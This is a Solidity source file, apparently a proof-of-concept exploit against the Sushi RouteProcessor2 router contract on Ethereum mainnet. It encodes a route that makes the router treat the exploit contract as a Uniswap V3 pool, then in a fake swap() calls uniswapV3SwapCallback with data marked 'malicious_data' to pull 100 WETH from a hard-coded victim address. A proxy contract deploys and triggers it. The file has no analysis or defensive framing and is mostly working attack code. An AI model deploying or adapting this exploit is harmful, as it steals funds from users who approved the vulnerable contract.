| |
| pragma solidity >=0.4.22 <0.9.0; |
|
|
| interface IERC20 { |
|
|
| function balanceOf(address account) external view returns (uint256); |
| } |
|
|
| interface IUniswapV3Pool { |
| function swap( |
| address recipient, |
| bool zeroForOne, |
| int256 amountSpecified, |
| uint160 sqrtPriceLimitX96, |
| bytes calldata data |
| ) external returns (int256 amount0, int256 amount1); |
| } |
|
|
| interface IRouteProcessor2 { |
| function processRoute( |
| address tokenIn, |
| uint256 amountIn, |
| address tokenOut, |
| uint256 amountOutMin, |
| address to, |
| bytes memory route |
| ) external payable returns (uint256 amountOut); |
|
|
| function uniswapV3SwapCallback( |
| int256 amount0Delta, |
| int256 amount1Delta, |
| bytes calldata data |
| ) external; |
|
|
| function tridentCLSwapCallback( |
| int256 amount0Delta, |
| int256 amount1Delta, |
| bytes calldata data |
| ) external; |
| } |
|
|
| contract SushiExp is IUniswapV3Pool { |
| IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); |
| IERC20 LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); |
| address victim = 0x31d3243CfB54B34Fc9C73e1CB1137124bD6B13E1; |
| IRouteProcessor2 processor = IRouteProcessor2(0x044b75f554b886A065b9567891e45c79542d7357); |
|
|
|
|
| function exploit() public { |
| uint8 commandCode = 1; |
| uint8 num = 1; |
| uint16 share = 0; |
| uint8 poolType = 1; |
| address pool = address(this); |
| uint8 zeroForOne = 0; |
| address recipient = address(0); |
| bytes memory route = abi.encodePacked( |
| commandCode, |
| address(LINK), |
| num, |
| share, |
| poolType, |
| pool, |
| zeroForOne, |
| recipient |
| ); |
|
|
| processor.processRoute( |
| 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, |
| 0, |
| 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, |
| 0, |
| 0x0000000000000000000000000000000000000000, |
| route |
| ); |
|
|
| } |
|
|
| |
|
|
| function swap( |
| address recipient, |
| bool zeroForOne, |
| int256 amountSpecified, |
| uint160 sqrtPriceLimitX96, |
| bytes calldata data |
| ) external returns (int256 amount0, int256 amount1) { |
| |
| amount0 = 0; |
| amount1 = 0; |
| bytes memory malicious_data = abi.encode(address(WETH), victim); |
| processor.uniswapV3SwapCallback( |
| 100 * 10 ** 18, |
| 0, |
| malicious_data |
| ); |
| } |
| } |
|
|
| contract SushiExpProxy { |
| SushiExp f; |
|
|
| function exploit() public{ |
| f = new SushiExp(); |
| f.exploit(); |
| } |
| } |